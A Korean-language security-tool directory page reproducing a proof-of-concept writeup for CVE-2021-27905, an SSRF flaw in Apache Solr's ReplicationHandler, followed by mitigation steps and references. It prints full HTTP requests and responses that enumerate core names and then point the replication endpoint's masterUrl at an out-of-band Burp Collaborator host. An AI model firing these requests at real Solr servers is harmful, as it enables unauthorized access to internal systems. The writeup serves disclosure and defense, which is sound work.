Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-27905 — [CVE-2021-27905] Apache Solr ReplicationHandler 서버 측 요청 위조(SSRF) | Kitploit
도구/GitHubGitHub/murataydemir/cve-2021-27905
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb Security
GitHubmurataydemir/cve-2021-27905

CVE-2021-27905

[CVE-2021-27905] Apache Solr ReplicationHandler 서버 측 요청 위조(SSRF)

저장소 보기
615년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

[CVE-2021-27905] Apache Solr ReplicationHandler 서버 측 요청 위조 (SSRF)


Hit Counter Platform Badge

Apache Solr (Searching On Lucene with Replication의 약자)는 Apache Lucene 라이브러리 기반의 무료 오픈소스 검색 엔진입니다. Java로 작성되었습니다. Apache Solr은 RESTful XML/HTTP 및 JSON API를 제공하며, Java, Python, Ruby, C#, PHP 등 다양한 프로그래밍 언어를 위한 클라이언트 라이브러리를 갖추고 있어 웹사이트, 데이터베이스, 파일 등의 검색 기반 및 빅데이터 분석 애플리케이션 구축에 사용됩니다.

Apache Solr 8.8.2 이전의 모든 버전 (7.0.0 ~ 7.7.3, 8.0.0 ~ 8.8.1)은 SSRF(서버 측 요청 위조) 취약점에 취약합니다. 이 취약점을 성공적으로 악용하면 취약한 애플리케이션 자체 또는 애플리케이션이 통신할 수 있는 다른 백엔드 시스템에서 무단 작업 또는 데이터 접근이 발생할 수 있습니다.

ReplicationHandler(일반적으로 Solr 코어 아래 /replication에 등록됨)는 다른 Solr 코어의 다른 ReplicationHandler를 지정하여 인덱스 데이터를 로컬 코어로 복제하는 데 사용되는 masterUrl(leaderUrl 별칭 포함) 매개변수를 가지고 있습니다. SSRF 취약점을 방지하기 위해 Solr는 이러한 매개변수를 shards 매개변수에 사용하는 유사한 구성과 비교해야 합니다. 이 취약점이 수정되기 전에는 그렇지 않았습니다.

개념 증명 (PoC): 이 취약점을 악용하려면 공격자가 Apache Solr의 코어 이름을 알아야 합니다. 따라서 다음 요청을 사용하여 코어 이름을 확인할 수 있습니다.

root@kitploit:~
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close

{
    "responseHeader":
    {
        "status": 0,
        "QTime": 0
    },
    "initFailures":
    {},
    "status":
    {
        "beliana_dev":
        {
            "name": "beliana_dev",
            "instanceDir": "/var/solr/data/beliana_dev",
            "dataDir": "/var/solr/data/beliana_dev/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-04-20T13:49:06.569Z",
            "uptime": 293226747
        },
        "beliana_prod":
        {
            "name": "beliana_prod",
            "instanceDir": "/var/solr/data/beliana_prod",
            "dataDir": "/var/solr/data/beliana_prod/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-02-02T06:07:19.668Z",
            "uptime": 6973733649
        },
        "beliana_stage":
        {
            "name": "beliana_stage",
            "instanceDir": "/var/solr/data/beliana_stage",
            "dataDir": "/var/solr/data/beliana_stage/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-02-02T06:07:19.668Z",
            "uptime": 6973733649
        }
    }
}

1

코어 이름을 확인한 후, 그 중 하나를 선택하여 다음 엔드포인트로 요청을 보냅니다: /solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}

root@kitploit:~
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
root@kitploit:~
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<response>
    <lst name="responseHeader">
        <int name="status">0</int>
        <int name="QTime">75</int>
    </lst>
    <str name="status">OK</str>
</response>

2

3

완화 조치: 다음 중 하나라도 적용하면 이 취약점을 방지할 수 있습니다.

  • Solr 8.8.2 이상으로 업그레이드하십시오.
  • 업그레이드가 불가능한 경우, https://issues.apache.org/jira/browse/SOLR-15217의 패치 적용을 고려하십시오.
  • 복제 핸들러에 대한 모든 접근이 Solr 내부에서만 이루어지도록 하십시오. 일반적으로 진단/정보 제공 목적으로만 외부에서 접근됩니다.

참고 자료:

  • https://github.com/apache/solr-site/blob/eb060a0d2cf1d31de403665407fff7a0255578ec/content/solr/security/2021-04-12-cve-2021-27905.md
  • https://github.com/apache/solr/pull/47/files/c12bbae4da0719435cf5e19623f6dad83f0c8c65#diff-838f63a8d7b764661b66c758c19cfe6f3d6454b328a1b5f52f75480530b0cfe7
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27905
  • https://www.anquanke.com/post/id/238201
도구 다운로드